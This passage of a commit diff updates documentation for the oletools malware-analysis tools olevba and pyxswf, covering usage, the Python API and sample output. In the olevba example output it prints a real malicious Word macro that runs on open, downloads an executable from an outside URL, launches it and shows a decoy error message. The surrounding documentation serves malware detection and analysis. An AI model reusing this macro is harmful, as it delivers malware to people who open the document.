  64 + -z ZIP_PASSWORD, --zip=ZIP_PASSWORD
  65 +
  66 + if the file is a zip archive, open first file from it,
  67 +
  68 + using the provided password (requires Python 2.6+)
  69 +
  70 + -f ZIP_FNAME, --zipfname=ZIP_FNAME
  71 +
  72 + if the file is a zip archive, file(s) to be opened
  73 +
  74 + within the zip. Wildcards * and ? are supported.
  75 +
  76 + (default:*)
  77 +
  78 + -t triage mode, display results as a summary table
  79 +
  80 + (default for multiple files)
  81 +
  82 + -d detailed mode, display full results (default for
  83 +
  84 + single file)
  85 +
  86 + -i INPUT, --input=INPUT
  87 +
  88 + input file containing VBA source code to be analyzed
  89 +
  90 + (no parsing)
  91 +
  92 + --decode display all the obfuscated strings with their decoded
  93 +
  94 + content (Hex, Base64, StrReverse, Dridex). </code></pre>
  95 +<h3 id="examples">Examples</h3>
  96 +<p>Scan a single file:</p>
  97 +<pre><code>olevba.py file.doc</code></pre>
  98 +<p>Scan a single file, stored in a Zip archive with password &quot;infected&quot;:</p>
  99 +<pre><code>olevba.py malicious_file.xls.zip -z infected</code></pre>
  100 +<p>Scan a single file, showing all obfuscated strings decoded:</p>
  101 +<pre><code>olevba.py file.doc --decode</code></pre>
  102 +<p>Scan VBA source code extracted into a text file:</p>
  103 +<pre><code>olevba.py -i source_code.vba</code></pre>
  104 +<p>Scan a collection of files stored in a folder:</p>
  105 +<pre><code>olevba.py MalwareZoo/VBA/*</code></pre>
  106 +<p>Scan all .doc and .xls files, recursively in all subfolders:</p>
  107 +<pre><code>olevba.py MalwareZoo/VBA/*.doc MalwareZoo/VBA/*.xls -r</code></pre>
  108 +<p>Scan all .doc files within all .zip files with password, recursively:</p>
  109 +<pre><code>olevba.py MalwareZoo/VBA/*.zip -r -z infected -f *.doc</code></pre>
  110 +<h3 id="detailed-analysis-mode-default-for-single-file">Detailed analysis mode (default for single file)</h3>
  111 +<p>When a single file is scanned, or when using the option -d, all details of the analysis are displayed.</p>
  112 +<p>For example, checking the malware sample <a href="https://malwr.com/analysis/M2I4YWRhM2IwY2QwNDljN2E3ZWFjYTg3ODk4NmZhYmE/">DIAN_caso-5415.doc</a>:</p>
  113 +<pre><code>&gt;olevba.py c:\MalwareZoo\VBA\DIAN_caso-5415.doc.zip -z infected
  114 +
  115 +===============================================================================
  116 +
  117 +FILE: DIAN_caso-5415.doc.malware in c:\MalwareZoo\VBA\DIAN_caso-5415.doc.zip
  118 +
  119 +Type: OLE
  120 +
  121 +-------------------------------------------------------------------------------
  122 +
  123 +VBA MACRO ThisDocument.cls
  124 +
  125 +in file: DIAN_caso-5415.doc.malware - OLE stream: Macros/VBA/ThisDocument
  126 +
  127 +- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  128 +
  129 +Option Explicit
  130 +
  131 +Private Declare Function URLDownloadToFileA Lib &quot;urlmon&quot; (ByVal FVQGKS As Long,_
  132 +
  133 +ByVal WSGSGY As String, ByVal IFRRFV As String, ByVal NCVOLV As Long, _
  134 +
  135 +ByVal HQTLDG As Long) As Long
  136 +
  137 +Sub AutoOpen()
  138 +
  139 + Auto_Open
  140 +
  141 +End Sub
  142 +
  143 +Sub Auto_Open()
  144 +
  145 +SNVJYQ
  146 +
  147 +End Sub
  148 +
  149 +Public Sub SNVJYQ()
  150 +
  151 + OGEXYR &quot;http://germanya.com.ec/logs/test.exe&quot;, Environ(&quot;TMP&quot;) &amp; &quot;\sfjozjero.
  152 +
  153 +exe&quot;
  154 +
  155 +End Sub
  156 +
  157 +Function OGEXYR(XSTAHU As String, PHHWIV As String) As Boolean
  158 +
  159 + Dim HRKUYU, lala As Long
  160 +
  161 + HRKUYU = URLDownloadToFileA(0, XSTAHU, PHHWIV, 0, 0)
  162 +
  163 + If HRKUYU = 0 Then OGEXYR = True
  164 +
  165 + Dim YKPZZS
  166 +
  167 + YKPZZS = Shell(PHHWIV, 1)
  168 +
  169 + MsgBox &quot;El contenido de este documento no es compatible con este equipo.&quot; &amp;
  170 +
  171 +vbCrLf &amp; vbCrLf &amp; &quot;Por favor intente desde otro equipo.&quot;, vbCritical, &quot;Equipo no
  172 +
  173 + compatible&quot;
  174 +
  175 + lala = URLDownloadToFileA(0, &quot;http://germanya.com.ec/logs/counter.php&quot;, Envi
  176 +
  177 +ron(&quot;TMP&quot;) &amp; &quot;\lkjljlljk&quot;, 0, 0)
  178 +
  179 + Application.DisplayAlerts = False
  180 +
  181 + Application.Quit
  182 +
  183 +End Function
  184 +
  185 +Sub Workbook_Open()
  186 +
  187 + Auto_Open
  188 +
  189 +End Sub
  190 +
  191 +
  192 +
  193 +- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  194 +
  195 +ANALYSIS:
  196 +
  197 ++------------+----------------------+-----------------------------------------+
  198 +
  199 +| Type | Keyword | Description |
  200 +
  201 ++------------+----------------------+-----------------------------------------+
  202 +
  203 +| AutoExec | AutoOpen | Runs when the Word document is opened |
  204 +
  205 +| AutoExec | Auto_Open | Runs when the Excel Workbook is opened |
  206 +
  207 +| AutoExec | Workbook_Open | Runs when the Excel Workbook is opened |
  208 +
  209 +| Suspicious | Lib | May run code from a DLL |
  210 +
  211 +| Suspicious | Shell | May run an executable file or a system |
  212 +
  213 +| | | command |
  214 +
  215 +| Suspicious | Environ | May read system environment variables |
  216 +
  217 +| Suspicious | URLDownloadToFileA | May download files from the Internet |
  218 +
  219 +| IOC | http://germanya.com. | URL |
  220 +
  221 +| | ec/logs/test.exe&quot; | |
  222 +
  223 +| IOC | http://germanya.com. | URL |
  224 +
  225 +| | ec/logs/counter.php&quot; | |
  226 +
  227 +| IOC | germanya.com | Executable file name |
  228 +
  229 +| IOC | test.exe | Executable file name |
  230 +
  231 +| IOC | sfjozjero.exe | Executable file name |
  232 +
  233 ++------------+----------------------+-----------------------------------------+</code></pre>
  234 +<h3 id="triage-mode-default-for-multiple-files">Triage mode (default for multiple files)</h3>
  235 +<p>When several files are scanned, or when using the option -t, a summary of the analysis for each file is displayed.</p>
  236 +<p>This is more convenient for quick triage of a collection of suspicious files.</p>
  237 +<p>The following flags show the results of the analysis:</p>
  238 +<ul>
  239 +<li><p><strong>OLE</strong>: the file type is OLE, for example MS Office 97-2003</p></li>
  240 +<li><p><strong>OpX</strong>: the file type is OpenXML, for example MS Office 2007+</p></li>
  241 +<li><p><strong>?</strong>: the file type is not supported</p></li>
  242 +<li><p><strong>M</strong>: contains VBA Macros</p></li>
  243 +<li><p><strong>A</strong>: auto-executable macros</p></li>
  244 +<li><p><strong>S</strong>: suspicious VBA keywords</p></li>
  245 +<li><p><strong>I</strong>: potential IOCs</p></li>
  246 +<li><p><strong>H</strong>: hex-encoded strings (potential obfuscation)</p></li>
  247 +<li><p><strong>B</strong>: Base64-encoded strings (potential obfuscation)</p></li>
  248 +<li><p><strong>D</strong>: Dridex-encoded strings (potential obfuscation)</p></li>
  249 +</ul>
  250 +<p>Here is an example:</p>
  251 +<pre><code>c:\&gt;olevba.py \MalwareZoo\VBA\samples\*
  252 +
  253 +Flags Filename
  254 +
  255 +----------- -----------------------------------------------------------------
  256 +
  257 +OLE:MASI--- \MalwareZoo\VBA\samples\DIAN_caso-5415.doc.malware
  258 +
  259 +OLE:MASIH-- \MalwareZoo\VBA\samples\DRIDEX_1.doc.malware
  260 +
  261 +OLE:MASIH-- \MalwareZoo\VBA\samples\DRIDEX_2.doc.malware
  262 +
  263 +OLE:MASI--- \MalwareZoo\VBA\samples\DRIDEX_3.doc.malware
  264 +
  265 +OLE:MASIH-- \MalwareZoo\VBA\samples\DRIDEX_4.doc.malware
  266 +
  267 +OLE:MASIH-- \MalwareZoo\VBA\samples\DRIDEX_5.doc.malware
  268 +
  269 +OLE:MASIH-- \MalwareZoo\VBA\samples\DRIDEX_6.doc.malware
  270 +
  271 +OLE:MAS---- \MalwareZoo\VBA\samples\DRIDEX_7.doc.malware
  272 +
  273 +OLE:MASIH-- \MalwareZoo\VBA\samples\DRIDEX_8.doc.malware
  274 +
  275 +OLE:MASIHBD \MalwareZoo\VBA\samples\DRIDEX_9.xls.malware
  276 +
  277 +OLE:MASIH-- \MalwareZoo\VBA\samples\DRIDEX_A.doc.malware
  278 +
  279 +OLE:------- \MalwareZoo\VBA\samples\Normal_Document.doc
  280 +
  281 +OLE:M------ \MalwareZoo\VBA\samples\Normal_Document_Macro.doc
  282 +
  283 +OpX:MASI--- \MalwareZoo\VBA\samples\RottenKitten.xlsb.malware
  284 +
  285 +OLE:MASI-B- \MalwareZoo\VBA\samples\ROVNIX.doc.malware
  286 +
  287 +OLE:MA----- \MalwareZoo\VBA\samples\Word within Word macro auto.doc</code></pre>
  288 +<hr />
  289 +<h2 id="how-to-use-olevba-in-python-applications">How to use olevba in Python applications</h2>
  290 +<p>olevba may be used to open a MS Office file, detect if it contains VBA macros, extract and analyze the VBA source code</p>
  291 +<p>from your own python applications.</p>
  292 +<p>IMPORTANT: olevba is currently under active development, therefore this API is likely to change.</p>
  293 +<h3 id="import-olevba">Import olevba</h3>
  294 +<p>First, import the <strong>oletools.olevba</strong> package, using at least the VBA_Parser and VBA_Scanner classes:</p>
  295 +<pre><code>from oletools.olevba import VBA_Parser, VBA_Scanner</code></pre>
  296 +<h3 id="parse-a-ms-office-file">Parse a MS Office file</h3>
  297 +<p>To parse a file on disk, create an instance of the <strong>VBA_Parser</strong> class, providing the name of the file to open as parameter.</p>
  298 +<p>For example:</p>
  299 +<pre><code>vba = VBA_Parser(&#39;my_file_with_macros.doc&#39;)</code></pre>
  300 +<p>The file may also be provided as a bytes string containing its data. In that case, the actual</p>
  301 +<p>filename must be provided for reference, and the file content with the data parameter. For example:</p>
  302 +<pre><code>myfile = &#39;my_file_with_macros.doc&#39;
  303 +
  304 +filedata = open(myfile, &#39;rb&#39;).read()
  305 +
  306 +vba = VBA_Parser(myfile, data=filedata)</code></pre>
  307 +<p>VBA_Parser will raise an exception if the file is not a supported format, either OLE (MS Office 97-2003) or OpenXML</p>
  308 +<p>(MS Office 2007+).</p>
  309 +<h3 id="detect-vba-macros">Detect VBA macros</h3>
  310 +<p>The method <strong>detect_vba_macros</strong> of a VBA_Parser object returns True if VBA macros have been found in the file,</p>
  311 +<p>False otherwise.</p>
  312 +<pre><code>if vba.detect_vba_macros():
  313 +
  314 + print &#39;VBA Macros found&#39;
  315 +
  316 +else:
  317 +
  318 + print &#39;No VBA Macros found&#39;</code></pre>
  319 +<p>Note: The detection algorithm looks for streams and storage with specific names in the OLE structure, which works fine</p>
  320 +<p>for all the supported formats listed above. However, for some formats such as PowerPoint 97-2003, this method will</p>
  321 +<p>always return False because VBA Macros are stored in a different way which is not yet supported by olevba.</p>
  322 +<p>Moreover, if the file contains an embedded document (e.g. an Excel workbook inserted into a Word document), this method</p>
  323 +<p>may return True if the embedded document contains VBA Macros, even if the main document does not.</p>
  324 +<h3 id="extract-vba-macro-source-code">Extract VBA Macro Source Code</h3>
  325 +<p>The method <strong>extract_macros</strong> extracts and decompresses source code for each VBA macro found in the file (possibly</p>
  326 +<p>including embedded files). It is a generator yielding a tuple (filename, stream_path, vba_filename, vba_code)</p>
  327 +<p>for each VBA macro found.</p>
  328 +<ul>
  329 +<li><p>filename: If the file is OLE (MS Office 97-2003), filename is the path of the file.</p>
  330 +<p>If the file is OpenXML (MS Office 2007+), filename is the path of the OLE subfile containing VBA macros within the zip archive,</p>
  331 +<p>e.g. word/vbaProject.bin.</p></li>
  332 +<li><p>stream_path: path of the OLE stream containing the VBA macro source code</p></li>
  333 +<li><p>vba_filename: corresponding VBA filename</p></li>
  334 +<li><p>vba_code: string containing the VBA source code in clear text</p></li>
  335 +</ul>
  336 +<p>Example:</p>
  337 +<pre><code>for (filename, stream_path, vba_filename, vba_code) in vba.extract_macros():
  338 +
  339 + print &#39;-&#39;*79
  340 +
  341 + print &#39;Filename :&#39;, filename
  342 +
  343 + print &#39;OLE stream :&#39;, stream_path
  344 +
  345 + print &#39;VBA filename:&#39;, vba_filename
  346 +
  347 + print &#39;- &#39;*39
  348 +
  349 + print vba_code</code></pre>
  350 +<h3 id="analyze-vba-source-code">Analyze VBA Source Code</h3>
  351 +<p>Note: this API is under active development and may change in the future.</p>
  352 +<p>The class <strong>VBA_Scanner</strong> can be used to scan the source code of a VBA module to find obfuscated strings,</p>
  353 +<p>suspicious keywords, IOCs, auto-executable macros, etc.</p>
  354 +<p>First, create a VBA_Scanner object with a string containing the VBA source code (for example returned by the</p>
  355 +<p>extract_macros method). Then call the methods <strong>scan</strong> or <strong>scan_summary</strong> to get the results of the analysis.</p>
  356 +<p>scan() takes an optional argument include_decoded_strings: if set to True, the results will contain all the encoded</p>
  357 +<p>strings found in the code (Hex, Base64, Dridex) with their decoded value.</p>
  358 +<p><strong>scan</strong> returns a list of tuples (type, keyword, description), one for each item in the results.</p>
  359 +<ul>
  360 +<li><p>type may be either 'AutoExec', 'Suspicious', 'IOC', 'Hex String', 'Base64 String' or 'Dridex String'.</p></li>
  361 +<li><p>keyword is the string found for auto-executable macros, suspicious keywords or IOCs. For obfuscated strings, it is</p></li>
  362 +</ul>
  363 +<p>the decoded value of the string.</p>
  364 +<ul>
  365 +<li>description provides a description of the keyword. For obfuscated strings, it is the encoded value of the string.</li>
  366 +</ul>
  367 +<p>Example:</p>
  368 +<pre><code>vba_scanner = VBA_Scanner(vba_code)
  369 +
  370 +results = vba_scanner.scan(include_decoded_strings=True)
  371 +
  372 +for kw_type, keyword, description in results:
  373 +
  374 + print &#39;type=%s - keyword=%s - description=%s&#39; % (kw_type, keyword, description)</code></pre>
  375 +<p>The function <strong>scan_vba</strong> is a shortcut for VBA_Scanner(vba_code).scan():</p>
  376 +<pre><code>results = scan_vba(vba_code, include_decoded_strings=True)
  377 +
  378 +for kw_type, keyword, description in results:
  379 +
  380 + print &#39;type=%s - keyword=%s - description=%s&#39; % (kw_type, keyword, description)</code></pre>
  381 +<p><strong>scan_summary</strong> returns a tuple with the number of items found for each category:</p>
  382 +<p>(autoexec, suspicious, IOCs, hex, base64, dridex).</p>
  383 +<h3 id="detect-auto-executable-macros-deprecated">Detect auto-executable macros (deprecated)</h3>
  384 +<p><strong>Deprecated</strong>: It is preferable to use either scan_vba or VBA_Scanner to get all results at once.</p>
  385 +<p>The function <strong>detect_autoexec</strong> checks if VBA macro code contains specific macro names</p>
  386 +<p>that will be triggered when the document/workbook is opened, closed, changed, etc.</p>
  387 +<p>It returns a list of tuples containing two strings, the detected keyword, and the</p>
  388 +<p>description of the trigger. (See the malware example above)</p>
  389 +<p>Sample usage:</p>
  390 +<pre><code>from oletools.olevba import detect_autoexec
  391 +
  392 +autoexec_keywords = detect_autoexec(vba_code)
  393 +
  394 +if autoexec_keywords:
  395 +
  396 + print &#39;Auto-executable macro keywords found:&#39;
  397 +
  398 + for keyword, description in autoexec_keywords:
  399 +
  400 + print &#39;%s: %s&#39; % (keyword, description)
  401 +
  402 +else:
  403 +
  404 + print &#39;Auto-executable macro keywords: None found&#39;</code></pre>
  405 +<h3 id="detect-suspicious-vba-keywords-deprecated">Detect suspicious VBA keywords (deprecated)</h3>
  406 +<p><strong>Deprecated</strong>: It is preferable to use either scan_vba or VBA_Scanner to get all results at once.</p>
  407 +<p>The function <strong>detect_suspicious</strong> checks if VBA macro code contains specific</p>
  408 +<p>keywords often used by malware to act on the system (create files, run</p>
  409 +<p>commands or applications, write to the registry, etc).</p>
  410 +<p>It returns a list of tuples containing two strings, the detected keyword, and the</p>
  411 +<p>description of the corresponding malicious behaviour. (See the malware example above)</p>
  412 +<p>Sample usage:</p>
  413 +<pre><code>from oletools.olevba import detect_suspicious
  414 +
  415 +suspicious_keywords = detect_suspicious(vba_code)
  416 +
  417 +if suspicious_keywords:
  418 +
  419 + print &#39;Suspicious VBA keywords found:&#39;
  420 +
  421 + for keyword, description in suspicious_keywords:
  422 +
  423 + print &#39;%s: %s&#39; % (keyword, description)
  424 +
  425 +else:
  426 +
  427 + print &#39;Suspicious VBA keywords: None found&#39;</code></pre>
  428 +<h3 id="extract-potential-iocs-deprecated">Extract potential IOCs (deprecated)</h3>
  429 +<p><strong>Deprecated</strong>: It is preferable to use either scan_vba or VBA_Scanner to get all results at once.</p>
  430 +<p>The function <strong>detect_patterns</strong> checks if VBA macro code contains specific</p>
  431 +<p>patterns of interest, that may be useful for malware analysis and detection</p>
  432 +<p>(potential Indicators of Compromise): IP addresses, e-mail addresses,</p>
  433 +<p>URLs, executable file names.</p>
  434 +<p>It returns a list of tuples containing two strings, the pattern type, and the</p>
  435 +<p>extracted value. (See the malware example above)</p>
  436 +<p>Sample usage:</p>
  437 +<pre><code>from oletools.olevba import detect_patterns
  438 +
  439 +patterns = detect_patterns(vba_code)
  440 +
  441 +if patterns:
  442 +
  443 + print &#39;Patterns found:&#39;
  444 +
  445 + for pattern_type, value in patterns:
  446 +
  447 + print &#39;%s: %s&#39; % (pattern_type, value)
  448 +
  449 +else:
  450 +
  451 + print &#39;Patterns: None found&#39;</code></pre>
  452 +<h3 id="close-the-vba_parser">Close the VBA_Parser</h3>
  453 +<p>After usage, it is better to call the <strong>close</strong> method of the VBA_Parser object, to make sure the file is closed,</p>
  454 +<p>especially if your application is parsing many files.</p>
  455 +<pre><code>vba.close()</code></pre>
  456 +<hr />
  457 +<p>python-oletools documentation</p>
  458 +<hr />
  459 +<ul>
  460 +<li><p><a href="Home.html">Home</a></p></li>
  461 +<li><p><a href="License.html">License</a></p></li>
  462 +<li><p><a href="Install.html">Install</a></p></li>
  463 +<li><p><a href="Contribute.html">Contribute</a>, Suggest Improvements or Report Issues</p></li>
  464 +<li><p>Tools:</p>
  465 +<ul>
  466 +<li><p><a href="olebrowse.html">olebrowse</a></p></li>
  467 +<li><p><a href="oleid.html">oleid</a></p></li>
  468 +<li><p><a href="olemeta.html">olemeta</a></p></li>
  469 +<li><p><a href="oletimes.html">oletimes</a></p></li>
  470 +<li><p><a href="olevba.html">olevba</a></p></li>
  471 +<li><p><a href="pyxswf.html">pyxswf</a></p></li>
  472 +<li><p><a href="rtfobj.html">rtfobj</a></p></li>
  473 +</ul></li>
  474 +</ul>
oletools/doc/olevba.md
  View file @dc628fa
@@ -4,8 +4,9 @@ olevba @@ -4,8 +4,9 @@ olevba
4 olevba is a script to parse OLE and OpenXML files such as MS Office documents 4 olevba is a script to parse OLE and OpenXML files such as MS Office documents
5 (e.g. Word, Excel), to **detect VBA Macros**, extract their **source code** in clear text, 5 (e.g. Word, Excel), to **detect VBA Macros**, extract their **source code** in clear text,
6 and detect security-related patterns such as **auto-executable macros**, **suspicious 6 and detect security-related patterns such as **auto-executable macros**, **suspicious
7 -VBA keywords** used by malware, and potential **IOCs** (IP addresses, URLs, executable  
8 -filenames, etc). It also detects and decodes several common **obfuscation methods including Hex encoding, 7 +VBA keywords** used by malware, anti-sandboxing and anti-virtualization techniques,
  8 +and potential **IOCs** (IP addresses, URLs, executable filenames, etc).
  9 +It also detects and decodes several common **obfuscation methods including Hex encoding,
9 StrReverse, Base64, Dridex**, and extracts IOCs from decoded strings. 10 StrReverse, Base64, Dridex**, and extracts IOCs from decoded strings.
10 11
11 It can be used either as a command-line tool, or as a python module from your own applications. 12 It can be used either as a command-line tool, or as a python module from your own applications.
@@ -17,8 +18,11 @@ by John William Davison, with significant modifications. @@ -17,8 +18,11 @@ by John William Davison, with significant modifications.
17 18
18 ## Supported formats 19 ## Supported formats
19 20
20 -- Word 97-2003 (.doc, .dot), Word 2007+ (.docm, .dotm)  
21 -- Excel 97-2003 (.xls), Excel 2007+ (.xlsm, .xlsb) 21 +- Word 97-2003 (.doc, .dot)
  22 +- Word 2007+ (.docm, .dotm)
  23 +- Word 2003 XML (.xml)
  24 +- Excel 97-2003 (.xls)
  25 +- Excel 2007+ (.xlsm, .xlsb)
22 - PowerPoint 2007+ (.pptm, .ppsm) 26 - PowerPoint 2007+ (.pptm, .ppsm)
23 27
24 ## Main Features 28 ## Main Features
@@ -27,6 +31,7 @@ by John William Davison, with significant modifications. @@ -27,6 +31,7 @@ by John William Davison, with significant modifications.
27 - Extract VBA macro source code 31 - Extract VBA macro source code
28 - Detect auto-executable macros 32 - Detect auto-executable macros
29 - Detect suspicious VBA keywords often used by malware 33 - Detect suspicious VBA keywords often used by malware
  34 +- Detect anti-sandboxing and anti-virtualization techniques
30 - Detect and decodes strings obfuscated with Hex/Base64/StrReverse/Dridex 35 - Detect and decodes strings obfuscated with Hex/Base64/StrReverse/Dridex
31 - Extract IOCs/patterns of interest such as IP addresses, URLs, e-mail addresses and executable file names 36 - Extract IOCs/patterns of interest such as IP addresses, URLs, e-mail addresses and executable file names
32 - Scan multiple files and sample collections (wildcards, recursive) 37 - Scan multiple files and sample collections (wildcards, recursive)
oletools/doc/pyxswf.html
  View file @dc628fa
1 -<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">  
2 -<html xmlns="http://www.w3.org/1999/xhtml">  
3 -<head>  
4 - <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />  
5 - <meta http-equiv="Content-Style-Type" content="text/css" />  
6 - <meta name="generator" content="pandoc" />  
7 - <title></title>  
8 -</head>  
9 -<body>  
10 -<h1 id="pyxswf">pyxswf</h1>  
11 -<p>pyxswf is a script to detect, extract and analyze Flash objects (SWF files) that may be embedded in files such as MS Office documents (e.g. Word, Excel), which is especially useful for malware analysis.</p>  
12 -<p>It is part of the <a href="http://www.decalage.info/python/oletools">python-oletools</a> package.</p>  
13 -<p>pyxswf is an extension to <a href="http://hooked-on-mnemonics.blogspot.nl/2011/12/xxxswfpy.html">xxxswf.py</a> published by Alexander Hanel.</p>  
14 -<p>Compared to xxxswf, it can extract streams from MS Office documents by parsing their OLE structure properly, which is necessary when streams are fragmented. Stream fragmentation is a known obfuscation technique, as explained on <a href="http://www.breakingpointsystems.com/resources/blog/evasion-with-ole2-fragmentation/">http://www.breakingpointsystems.com/resources/blog/evasion-with-ole2-fragmentation/</a></p>  
15 -<p>It can also extract Flash objects from RTF documents, by parsing embedded objects encoded in hexadecimal format (-f option).</p>  
16 -<p>For this, simply add the -o option to work on OLE streams rather than raw files, or the -f option to work on RTF files.</p>  
17 -<h2 id="usage">Usage</h2>  
18 -<pre><code>Usage: pyxswf.py [options] &lt;file.bad&gt;  
19 -  
20 -Options:  
21 - -o, --ole Parse an OLE file (e.g. Word, Excel) to look for SWF  
22 - in each stream  
23 - -f, --rtf Parse an RTF file to look for SWF in each embedded  
24 - object  
25 - -x, --extract Extracts the embedded SWF(s), names it MD5HASH.swf &amp;  
26 - saves it in the working dir. No addition args needed  
27 - -h, --help show this help message and exit  
28 - -y, --yara Scans the SWF(s) with yara. If the SWF(s) is  
29 - compressed it will be deflated. No addition args  
30 - needed  
31 - -s, --md5scan Scans the SWF(s) for MD5 signatures. Please see func  
32 - checkMD5 to define hashes. No addition args needed  
33 - -H, --header Displays the SWFs file header. No addition args needed  
34 - -d, --decompress Deflates compressed SWFS(s)  
35 - -r PATH, --recdir=PATH  
36 - Will recursively scan a directory for files that  
37 - contain SWFs. Must provide path in quotes  
38 - -c, --compress Compresses the SWF using Zlib</code></pre>  
39 -<h3 id="example-1---detecting-and-extracting-a-swf-file-from-a-word-document-on-windows">Example 1 - detecting and extracting a SWF file from a Word document on Windows:</h3>  
40 -<pre><code>C:\oletools&gt;pyxswf.py -o word_flash.doc  
41 -OLE stream: &#39;Contents&#39;  
42 -[SUMMARY] 1 SWF(s) in MD5:993664cc86f60d52d671b6610813cfd1:Contents  
43 - [ADDR] SWF 1 at 0x8 - FWS Header  
44 -  
45 -C:\oletools&gt;pyxswf.py -xo word_flash.doc  
46 -OLE stream: &#39;Contents&#39;  
47 -[SUMMARY] 1 SWF(s) in MD5:993664cc86f60d52d671b6610813cfd1:Contents  
48 - [ADDR] SWF 1 at 0x8 - FWS Header  
49 - [FILE] Carved SWF MD5: 2498e9c0701dc0e461ab4358f9102bc5.swf</code></pre>  
50 -<h3 id="example-2---detecting-and-extracting-a-swf-file-from-a-rtf-document-on-windows">Example 2 - detecting and extracting a SWF file from a RTF document on Windows:</h3>  
51 -<pre><code>C:\oletools&gt;pyxswf.py -xf &quot;rtf_flash.rtf&quot;  
52 -RTF embedded object size 1498557 at index 000036DD  
53 -[SUMMARY] 1 SWF(s) in MD5:46a110548007e04f4043785ac4184558:RTF_embedded_object_0  
54 -00036DD  
55 - [ADDR] SWF 1 at 0xc40 - FWS Header  
56 - [FILE] Carved SWF MD5: 2498e9c0701dc0e461ab4358f9102bc5.swf</code></pre>  
57 -<h2 id="how-to-use-pyxswf-in-python-applications">How to use pyxswf in Python applications</h2>  
58 -<p>TODO</p>  
59 -<hr />  
60 -<h2 id="python-oletools-documentation">python-oletools documentation</h2>  
61 -<ul>  
62 -<li><a href="Home.html">Home</a></li>  
63 -<li><a href="License.html">License</a></li>  
64 -<li><a href="Install.html">Install</a></li>  
65 -<li><a href="Contribute.html">Contribute</a>, Suggest Improvements or Report Issues</li>  
66 -<li>Tools:  
67 -<ul>  
68 -<li><a href="olebrowse.html">olebrowse</a></li>  
69 -<li><a href="oleid.html">oleid</a></li>  
70 -<li><a href="olemeta.html">olemeta</a></li>  
71 -<li><a href="oletimes.html">oletimes</a></li>  
72 -<li><a href="olevba.html">olevba</a></li>  
73 -<li><a href="pyxswf.html">pyxswf</a></li>  
74 -<li><a href="rtfobj.html">rtfobj</a></li>  
75 -</ul></li>  
76 -</ul>  
77 -</body>  
78 -</html> 1 +<p>pyxswf</p>
  2 +<p>======</p>
  3 +<p>pyxswf is a script to detect, extract and analyze Flash objects (SWF files) that may</p>
  4 +<p>be embedded in files such as MS Office documents (e.g. Word, Excel),</p>
  5 +<p>which is especially useful for malware analysis.</p>
  6 +<p>It is part of the <a href="http://www.decalage.info/python/oletools">python-oletools</a> package.</p>
  7 +<p>pyxswf is an extension to <a href="http://hooked-on-mnemonics.blogspot.nl/2011/12/xxxswfpy.html">xxxswf.py</a> published by Alexander Hanel.</p>
  8 +<p>Compared to xxxswf, it can extract streams from MS Office documents by parsing</p>
  9 +<p>their OLE structure properly, which is necessary when streams are fragmented.</p>
  10 +<p>Stream fragmentation is a known obfuscation technique, as explained on</p>
  11 +<p><a href="http://www.breakingpointsystems.com/resources/blog/evasion-with-ole2-fragmentation/">http://www.breakingpointsystems.com/resources/blog/evasion-with-ole2-fragmentation/</a></p>
  12 +<p>It can also extract Flash objects from RTF documents, by parsing embedded objects encoded in hexadecimal format (-f option).</p>
  13 +<p>For this, simply add the -o option to work on OLE streams rather than raw files, or the -f option to work on RTF files.</p>
  14 +<h2 id="usage">Usage</h2>
  15 +<pre><code>Usage: pyxswf.py [options] &lt;file.bad&gt;
  16 +
  17 +
  18 +
  19 +Options:
  20 +
  21 + -o, --ole Parse an OLE file (e.g. Word, Excel) to look for SWF
  22 +
  23 + in each stream
  24 +
  25 + -f, --rtf Parse an RTF file to look for SWF in each embedded
  26 +
  27 + object
  28 +
  29 + -x, --extract Extracts the embedded SWF(s), names it MD5HASH.swf &amp;
  30 +
  31 + saves it in the working dir. No addition args needed
  32 +
  33 + -h, --help show this help message and exit
  34 +
  35 + -y, --yara Scans the SWF(s) with yara. If the SWF(s) is
  36 +
  37 + compressed it will be deflated. No addition args
  38 +
  39 + needed
  40 +
  41 + -s, --md5scan Scans the SWF(s) for MD5 signatures. Please see func
  42 +
  43 + checkMD5 to define hashes. No addition args needed
  44 +
  45 + -H, --header Displays the SWFs file header. No addition args needed
  46 +
  47 + -d, --decompress Deflates compressed SWFS(s)
  48 +
  49 + -r PATH, --recdir=PATH
  50 +
  51 + Will recursively scan a directory for files that
  52 +
  53 + contain SWFs. Must provide path in quotes
  54 +
  55 + -c, --compress Compresses the SWF using Zlib</code></pre>
  56 +<h3 id="example-1---detecting-and-extracting-a-swf-file-from-a-word-document-on-windows">Example 1 - detecting and extracting a SWF file from a Word document on Windows:</h3>
  57 +<pre><code>C:\oletools&gt;pyxswf.py -o word_flash.doc
  58 +
  59 +OLE stream: &#39;Contents&#39;
  60 +
  61 +[SUMMARY] 1 SWF(s) in MD5:993664cc86f60d52d671b6610813cfd1:Contents
  62 +
  63 + [ADDR] SWF 1 at 0x8 - FWS Header
  64 +
  65 +
  66 +
  67 +C:\oletools&gt;pyxswf.py -xo word_flash.doc
  68 +
  69 +OLE stream: &#39;Contents&#39;
  70 +
  71 +[SUMMARY] 1 SWF(s) in MD5:993664cc86f60d52d671b6610813cfd1:Contents
  72 +
  73 + [ADDR] SWF 1 at 0x8 - FWS Header
  74 +
  75 + [FILE] Carved SWF MD5: 2498e9c0701dc0e461ab4358f9102bc5.swf</code></pre>
  76 +<h3 id="example-2---detecting-and-extracting-a-swf-file-from-a-rtf-document-on-windows">Example 2 - detecting and extracting a SWF file from a RTF document on Windows:</h3>
  77 +<pre><code>C:\oletools&gt;pyxswf.py -xf &quot;rtf_flash.rtf&quot;
  78 +
  79 +RTF embedded object size 1498557 at index 000036DD
  80 +
  81 +[SUMMARY] 1 SWF(s) in MD5:46a110548007e04f4043785ac4184558:RTF_embedded_object_0
  82 +
  83 +00036DD
  84 +
  85 + [ADDR] SWF 1 at 0xc40 - FWS Header
  86 +
  87 + [FILE] Carved SWF MD5: 2498e9c0701dc0e461ab4358f9102bc5.swf</code></pre>
  88 +<h2 id="how-to-use-pyxswf-in-python-applications">How to use pyxswf in Python applications</h2>
  89 +<p>TODO</p>
  90 +<hr />
  91 +<p>python-oletools documentation</p>
  92 +<hr />
  93 +<ul>
  94 +<li><p><a href="Home.html">Home</a></p></li>
  95 +<li><p><a href="License.html">License</a></p></li>
  96 +<li><p><a href="Install.html">Install</a></p></li>
